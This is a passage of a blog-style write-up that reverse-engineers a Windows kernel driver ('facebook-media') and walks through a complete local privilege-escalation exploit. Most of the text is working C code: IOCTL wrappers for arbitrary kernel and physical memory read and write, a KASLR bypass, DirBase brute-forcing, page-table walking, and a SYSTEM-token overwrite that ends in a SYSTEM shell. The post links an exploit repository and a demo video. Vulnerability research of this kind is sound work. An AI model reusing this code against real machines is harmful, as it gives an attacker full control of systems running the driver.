dst_buffer;  // +0x10  where to put the data<br>    DWORD64 size;        // +0x18  how many bytes to read<br>};<br>// total size = 0x20 bytes</pre><p>Dispatcher checks iVar2 == 0x20. Confirmed.</p><p>In our exploit:</p><pre>BYTE req[0x20] = {};<br>*(DWORD64*)(req + 0x08) = physicalAddress;   // raw physical addr<br>*(DWORD64*)(req + 0x10) = (DWORD64)myBuffer; // where to put result<br>*(DWORD64*)(req + 0x18) = 8;                 // read 8 bytes</pre><h4>3.4 IOCTL 0x22201C: Physical Write Structure</h4><p>Here is the decompiled handler:</p><pre>undefined8 FUN_140002480(longlong param_1)<br>{<br>  lVar3 = *(longlong *)(param_1 + 8);        // field at +0x08<br>  puVar5 = *(undefined8 **)(param_1 + 0x10); // field at +0x10<br>  uVar2 = *(ulonglong *)(param_1 + 0x18);    // field at +0x18</pre><pre>  // passes lVar3 to MmMapIoSpaceEx<br>  FUN_140002518(lVar3, puVar5, uVar4, 0);<br>}</pre><p>And inside FUN_140002518:</p><pre>puVar1 = MmMapIoSpaceEx(param_1, param_3, 4); // map physical address<br>memcpy(puVar1, param_2, param_3);              // write our data there<br>MmUnmapIoSpace(puVar1, param_3);              // clean up</pre><p>MmMapIoSpaceEx maps a physical address into kernel virtual space so the kernel can write to it. The physical address comes straight from our input zero validation.</p><ul><li>+0x08 passed to MmMapIoSpaceEx as physical address ,<strong>physical address to write TO</strong></li><li>+0x10 passed to memcpy as source data ,<strong>data we want to write</strong></li><li>+0x18 passed as size to both functions ,<strong>bytes to write</strong></li><li>+0x00 never accessed ,unused</li></ul><pre>struct PHYS_WRITE_REQUEST {<br>    DWORD64 unused;      // +0x00  ignored<br>    DWORD64 phys_dst;    // +0x08  physical address to write TO<br>    DWORD64 src_buffer;  // +0x10  data to write<br>    DWORD64 size;        // +0x18  how many bytes to write<br>};<br>// total size = 0x20 bytes</pre><p>In our exploit:</p><pre>BYTE req[0x20] = {};<br>*(DWORD64*)(req + 0x08) = physicalAddress;      // where to write<br>*(DWORD64*)(req + 0x10) = (DWORD64)&amp;myData;     // what to write<br>*(DWORD64*)(req + 0x18) = 8;                    // 8 bytes</pre><p>The pattern is the same across all three. Offset +0x08 is always the address, +0x10 is always the buffer, +0x18 is always the size. Once you see this pattern in one IOCTL you can instantly read the others.</p><h3>Exploit Approach</h3><p>The driver gives us three things: read kernel memory, read physical RAM, and write physical RAM. The goal is to steal the SYSTEM token and drop into a shell. Here’s how it plays out.</p><h4>First : Beat KASLR</h4><p>The kernel loads at a random address every boot. But <strong>NtQuerySystemInformation</strong> happily tells us where <strong>ntoskrnl.exe</strong> is loaded. Now we know the kernel base, which means we can calculate the address of any kernel function or global variable.</p><h4>Second : Find the System DirBase</h4><p>The VirtRead IOCTL needs a DirBase ,the physical address of a process’s page table root. We want to read kernel memory, so we need the System process’s DirBase. There’s no API for this from user mode, but System’s DirBase is usually somewhere in the <strong>0x1A0000</strong> to <strong>0x1AC000</strong> range. So we just guess. We try each candidate by attempting to read the kernel base through it. If we see <strong>MZ</strong> at the right address, we found it. Quick brute-force, takes less than a second.</p><h4>Third : Grab the SYSTEM Token</h4><p>`PsInitialSystemProcess` is a kernel variable that points to the System process EPROCESS structure. We load <strong>ntoskrnl.exe</strong> as a file, find the offset of this export, add it to the runtime kernel base, and read the pointer through our shiny new DirBase. Now we have the System EPROCESS. The token is at a fixed offset inside it ,read that and we have the SYSTEM token.</p><h4>Fourth : Find Ourselves</h4><p>Every process is linked in a circular list off System’s EPROCESS. We start at System, follow the <strong>next</strong> pointer, and check each process’s PID. When it matches ours, that’s our EPROCESS.</p><h4><strong>Fifth: Find Our Token in Physical Memory</strong></h4><p>Here’s where it gets tricky. Our token lives in our process’s virtual address space, not System’s. We can’t use <strong>VirtRead()</strong> with the System DirBase to write to it. So instead we read our own DirBase from our EPROCESS, then manually walk the 4-level page table (PML4 → PDP → PD → PT) using <strong>PhysRead()</strong>. This gives us the physical address of our token.</p><h4><strong>Sixth : Overwrite</strong></h4><p><strong>PhysWrite()</strong> takes a physical address and writes whatever we give it. We point it at our token’s physical address, pass in the SYSTEM token we stole, and hit go. Our process now has a SYSTEM token.</p><h4><strong>Seventh : Clean Up and Spawn Shell</strong></h4><p>The token is there, but the privileges are still disabled. <strong>AdjustTokenPrivileges </strong>flips them on. Then cmd.exe and we’re <strong>SYSTEM</strong>.</p><p>That’s the whole Journey. Three IOCTLs, a bit of page table walking, and one physical write. No kernel shellcode, no ROP, just reading and writing the right bytes in the right places.</p><p>Here’s the exploit code walkthrough:</p><h3>Exploit Code Walkthrough</h3><h3>Opening the Driver</h3><p>Everything starts here. Before we can do anything we need a handle to the driver device. Think of it like opening a file — except instead of reading documents you’re about to read and write kernel memory.</p><pre>hDevice = CreateFileW(<br>    L&quot;\\\\.\\facebook-media&quot;,<br>    GENERIC_READ | GENERIC_WRITE,<br>    0, NULL, OPEN_EXISTING,<br>    FILE_ATTRIBUTE_NORMAL, NULL<br>);</pre><p>If this fails the driver isn’t loaded. If it succeeds we have a direct line to the kernel. Everything after this point runs with the driver’s Ring 0 capabilities backing us up.</p><h3>The Three Weapons</h3><p>Before writing any exploit logic we wrap the three vulnerable IOCTLs into clean helper functions. Each one just builds the input structure we reverse engineered earlier and fires a DeviceIoControl call.</p><p><strong>VirtRead()</strong> reads any kernel virtual address as long as you know the right DirBase:</p><pre>BOOL VirtRead(DWORD64 va, void* outBuf,<br>              DWORD64 size, DWORD64 dirbase) {<br>    BYTE req[0x28] = {};<br>    *(DWORD64*)(req + 0x08) = va;<br>    *(DWORD64*)(req + 0x10) = (DWORD64)outBuf;<br>    *(DWORD64*)(req + 0x18) = size;<br>    *(DWORD64*)(req + 0x20) = dirbase;<br>    return DeviceIoControl(hDevice, 0x222000,<br>               req, sizeof(req), NULL, 0, &amp;bytesRet, NULL);<br>}</pre><p><strong>PhysRead () </strong>reads raw bytes from physical RAM. No virtual addresses involved,pure hardware memory access:</p><pre>BOOL PhysRead(DWORD64 physAddr, void* outBuf, DWORD64 size) {<br>    BYTE req[0x20] = {};<br>    *(DWORD64*)(req + 0x08) = physAddr;<br>    *(DWORD64*)(req + 0x10) = (DWORD64)outBuf;<br>    *(DWORD64*)(req + 0x18) = size;<br>    return DeviceIoControl(hDevice, 0x222018,<br>               req, sizeof(req), NULL, 0, &amp;bytesRet, NULL);<br>}</pre><p><strong>PhysWrite() </strong>writes raw bytes to physical RAM. This is the big one. Whatever physical address you give it, whatever data you give it ,it writes it. No questions asked:</p><pre>BOOL PhysWrite(DWORD64 physAddr, void* inBuf, DWORD64 size) {<br>    BYTE req[0x20] = {};<br>    *(DWORD64*)(req + 0x08) = physAddr;<br>    *(DWORD64*)(req + 0x10) = (DWORD64)inBuf;<br>    *(DWORD64*)(req + 0x18) = size;<br>    return DeviceIoControl(hDevice, 0x22201C,<br>               req, sizeof(req), NULL, 0, &amp;bytesRet, NULL);<br>}</pre><p>Three functions. Same structure. Different IOCTL codes. These three are everything we need.</p><p>Following are the some Steps that explain each each concept used in the exploit:</p><h3>First :Killing KASLR</h3><p>Windows randomizes the kernel’s load address on every single boot. This is called KASLR (Kernel Address Space Layout Randomization). The idea is that if you don’t know where the kernel lives you can’t find anything useful inside it.</p><p>The problem is there’s a perfectly documented Windows API that just… tells you:</p><pre>DWORD64 GetKernelBase() {<br>    NtQSI_t NtQSI = (NtQSI_t)GetProcAddress(<br>        GetModuleHandleA(&quot;ntdll.dll&quot;),<br>        &quot;NtQuerySystemInformation&quot;);</pre><pre>    ULONG size = 0;<br>    NtQSI(11, NULL, 0, &amp;size);      // class 11 = loaded modules<br>    BYTE* buf = (BYTE*)malloc(size + 0x1000);<br>    NtQSI(11, buf, size + 0x1000, &amp;size);</pre><pre>    DWORD64 kBase = *(DWORD64*)(buf + 8 + 0x10);<br>    free(buf);<br>    return kBase;<br>}</pre><p>NtQuerySystemInformation with class 11 returns a list of every loaded kernel module. The first entry is always ntoskrnl.exe. The ImageBase sits at offset +0x10 into the module structure. We read it out and KASLR is defeated.</p><p>Every reboot gives a different address. Every run of our exploit finds it fresh. No hardcoding needed.</p><h3>Second :Finding the System DirBase</h3><p>Here’s something interesting about the System process. Its DirBase — the physical address of its page tables ,almost never changes across reboots. Windows loads the System process so early during boot that it consistently ends up at the same physical location.</p><p>We use this to our advantage. We try a list of common candidates and test each one by reading the kernel base through it. If we see 0x5A4D,the MZ header of ntoskrnl.exe , we know we have the right DirBase:</p><pre>DWORD64 FindSystemDirbase(DWORD64 kBase) {<br>    DWORD64 candidates[] = {<br>        0x001aa000ULL, 0x00187000ULL,<br>        0x001ab000ULL, 0x00188000ULL, 0<br>    };</pre><pre>    for (int i = 0; candidates[i] != 0; i++) {<br>        DWORD64 test = 0;<br>        VirtRead(kBase, &amp;test, 2, candidates[i]);<br>        if ((test &amp; 0xFFFF) == 0x5A4D)<br>            return candidates[i];<br>    }</pre><pre>    // fallback — brute force the whole range<br>    for (DWORD64 d = 0x00100000; d &lt; 0x00200000; d += 0x1000) {<br>        DWORD64 test = 0;<br>        VirtRead(kBase, &amp;test, 2, d);<br>        if ((test &amp; 0xFFFF) == 0x5A4D)<br>            return d;<br>    }<br>    return 0;<br>}</pre><p>Once we have the System DirBase we can read any kernel virtual address using VirtRead. This is the master key that unlocks everything else.</p><h3>Third :Getting the SYSTEM EPROCESS</h3><p>Every process on Windows has a kernel structure called EPROCESS , think of it as the kernel’s internal profile for a process. It stores the PID, the security token, the page table base, and a bunch of other things we care about.</p><p>The kernel exports a global variable called PsInitialSystemProcess that holds a pointer to the System process EPROCESS. We find its runtime address by loading ntoskrnl.exe as a data file , not executing it, just reading its export table ,then adding the symbol offset to the real kernel base:</p><pre>DWORD64 GetSystemEprocess(DWORD64 kBase) {<br>    HMODULE hNtos = LoadLibraryExA(&quot;ntoskrnl.exe&quot;,<br>                        NULL, DONT_RESOLVE_DLL_REFERENCES);</pre><pre>    DWORD64 offset = (DWORD64)GetProcAddress(hNtos,<br>                         &quot;PsInitialSystemProcess&quot;)<br>                   - (DWORD64)hNtos;<br>    FreeLibrary(hNtos);</pre><pre>    DWORD64 sysEproc = 0;<br>    VirtRead(kBase + offset, &amp;sysEproc, 8, g_systemDirbase);<br>    return sysEproc;<br>}</pre><p>DONT_RESOLVE_DLL_REFERENCES loads the file as raw data ,no DLLs get initialized, no code runs. We just want the export table to calculate the offset. Then we add it to the real kernel base and use VirtRead to dereference the pointer. Done , we have the System EPROCESS address.</p><h3>Fourth :Reading the SYSTEM Token</h3><p>The security token is stored inside EPROCESS at a fixed offset. On Windows 10/11 x64 that offset is +0x4B8. One read:</p><pre>DWORD64 systemToken = 0;<br>VirtRead(sysEproc + 0x4B8, &amp;systemToken, 8, g_systemDirbase);<br>systemToken = systemToken &amp; ~0xfULL;</pre><p>The masking part trips people up the first time they see it. Windows stores a reference count in the lower 4 bits of kernel pointers , this is called EX_FAST_REF. If you write the raw value including those bits you corrupt the token. Masking with 0xfULL strips them off and leaves a clean pointer.</p><h3>FiFTH : Finding Our Own EPROCESS</h3><p>We have the System token. Now we need our own EPROCESS so we know where to write it.</p><p>Every EPROCESS contains a linked list entry at offset +0x448 called ActiveProcessLinks. All running processes are chained together through this field in a circular doubly-linked list. We walk it starting from System until we find an entry whose PID matches ours:</p><pre>DWORD64 FindOurEprocess(DWORD64 sysEproc) {<br>    DWORD myPid = GetCurrentProcessId();</pre><pre>    DWORD64 flink = 0;<br>    VirtRead(sysEproc + 0x448, &amp;flink, 8, g_systemDirbase);<br>    DWORD64 current = flink - 0x448;</pre><pre>    while (maxIter-- &gt; 0) {<br>        DWORD64 pid = 0;<br>        VirtRead(current + 0x440, &amp;pid, 8, g_systemDirbase);</pre><pre>        if ((DWORD)pid == myPid)<br>            return current;</pre><pre>        DWORD64 next = 0;<br>        VirtRead(current + 0x448, &amp;next, 8, g_systemDirbase);<br>        if (next == flink) break;<br>        current = next - 0x448;<br>    }<br>    return 0;<br>}</pre><p>One thing worth noting , the list links point to the ActiveProcessLinks field inside the next EPROCESS, not the beginning of the structure. So after reading Flink we subtract 0x448 to get back to the EPROCESS base. Easy to miss the first time.</p><h3>Sixth : Getting Our DirBase</h3><p>We found our EPROCESS virtually. But PhysWrite needs a physical address. To get there we first need our own DirBase ,the physical address of our page tables ,so we can walk them.</p><p>Our DirBase lives in our EPROCESS at offset +0x28. We read it using the System DirBase since System can see everything:</p><pre>DWORD64 ourDirbase = 0;<br>VirtRead(ourEproc + 0x28, &amp;ourDirbase, 8, g_systemDirbase);<br>ourDirbase = ourDirbase &amp; ~0xfffULL;  // page align</pre><p>The page alignment mask strips the low 12 bits which Windows sometimes uses for flags. The actual DirBase is always page-aligned.</p><h3>Seventh : Walking the Page Tables</h3><p>This is the most technically involved part. We need the physical address of our token field specifically , the exact bytes in RAM that store our token pointer. To get that we manually walk our page tables the same way the CPU does.</p><p>x64 uses four levels: PML4 → PDP → PD → PT. Each level is a table of 512 entries, each 8 bytes. The virtual address encodes which entry to use at each level in groups of 9 bits:</p><pre>DWORD64 VirtToPhys(DWORD64 va, DWORD64 dirbasePhys) {<br>    DWORD64 pml4i = (va &gt;&gt; 39) &amp; 0x1FF;  // bits 47:39<br>    DWORD64 pdpi  = (va &gt;&gt; 30) &amp; 0x1FF;  // bits 38:30<br>    DWORD64 pdi   = (va &gt;&gt; 21) &amp; 0x1FF;  // bits 29:21<br>    DWORD64 pti   = (va &gt;&gt; 12) &amp; 0x1FF;  // bits 20:12<br>    DWORD64 off   = va &amp; 0xFFF;          // bits 11:0</pre><pre>    DWORD64 pml4e = 0;<br>    PhysRead(dirbasePhys + pml4i * 8, &amp;pml4e, 8);<br>    if (!(pml4e &amp; 1)) return 0;  // not present</pre><pre>    DWORD64 pdpe = 0;<br>    PhysRead((pml4e &amp; 0xFFFFFFFFF000) + pdpi * 8, &amp;pdpe, 8);<br>    if (!(pdpe &amp; 1)) return 0;<br>    if (pdpe &amp; 0x80)  // 1GB huge page<br>        return (pdpe &amp; 0xFFFFFC0000000) + (va &amp; 0x3FFFFFFF);</pre><pre>    DWORD64 pde = 0;<br>    PhysRead((pdpe &amp; 0xFFFFFFFFF000) + pdi * 8, &amp;pde, 8);<br>    if (!(pde &amp; 1)) return 0;<br>    if (pde &amp; 0x80)   // 2MB large page<br>        return (pde &amp; 0xFFFFFFFE00000) + (va &amp; 0x1FFFFF);</pre><pre>    DWORD64 pte = 0;<br>    PhysRead((pde &amp; 0xFFFFFFFFF000) + pti * 8, &amp;pte, 8);<br>    if (!(pte &amp; 1)) return 0;</pre><pre>    return (pte &amp; 0xFFFFFFFFF000) + off;<br>}</pre><p>At each level we read the entry physically, check the present bit (bit 0), mask off the flags to get the next level’s physical address, and keep going. At the end we take the physical page base from the PTE and add the page offset from the original virtual address. That gives us the exact physical byte.</p><p>We check for huge pages (bit 7 set on PDPE or PDE) because those skip the remaining levels and use a different offset calculation.</p><h3>Eight : The Write</h3><p>Everything above was setup. This is the actual exploit,one function call, eight bytes:</p><pre>PhysWrite(ourTokenPA, &amp;systemToken, 8);</pre><p>We are writing the SYSTEM token pointer directly into our process’s token field at the physical memory level. No virtual memory protections, no access checks, no kernel validation. The driver mapped that physical address into kernel space and copied our data there. Windows has no idea it happened.</p><p>From this point our process has a SYSTEM token.</p><h3>Nine : Enabling Privileges</h3><p>After the token swap the privileges exist in our token but they’re in a disabled state. Windows requires explicitly enabling them before use. AdjustTokenPrivileges flips the enable bit on all of them at once:</p><pre>BOOL EnableAllPrivileges() {<br>    HANDLE hToken = NULL;<br>    OpenProcessToken(GetCurrentProcess(),<br>                     TOKEN_ALL_ACCESS, &amp;hToken);</pre><pre>    DWORD dwSize = 0;<br>    GetTokenInformation(hToken, TokenPrivileges,<br>                        NULL, 0, &amp;dwSize);<br>    TOKEN_PRIVILEGES* pPrivs =<br>        (TOKEN_PRIVILEGES*)malloc(dwSize);<br>    GetTokenInformation(hToken, TokenPrivileges,<br>                        pPrivs, dwSize, &amp;dwSize);</pre><pre>    for (DWORD i = 0; i &lt; pPrivs-&gt;PrivilegeCount; i++)<br>        pPrivs-&gt;Privileges[i].Attributes = SE_PRIVILEGE_ENABLED;</pre><pre>    AdjustTokenPrivileges(hToken, FALSE, pPrivs,<br>                          dwSize, NULL, NULL);<br>    free(pPrivs);<br>    CloseHandle(hToken);<br>}</pre><p>Without this step you’d have the SYSTEM token but operations like reading the SAM hive or writing to protected directories would still fail. The token has to be there AND the privileges have to be enabled.</p><h3>Ten : The Shell</h3><pre>system(&quot;cmd.exe&quot;);</pre><p>That’s it. The process that spawns inherits our token. The token is SYSTEM. The shell is SYSTEM. Just reading and writing the right bytes in the right places.</p><p>All of the code and how to compile it can be found on my github:</p><p><a href="https://github.com/Haider303/facebook-media-driver-exploit">https://github.com/Haider303/facebook-media-driver-exploit</a></p><h3>Video Demo of the running Exploit :</h3><p><a href="https://youtu.be/AdklhWNC84g">https://youtu.be/AdklhWNC84g</a></p><p>That all Byby.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=678fe2054d6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>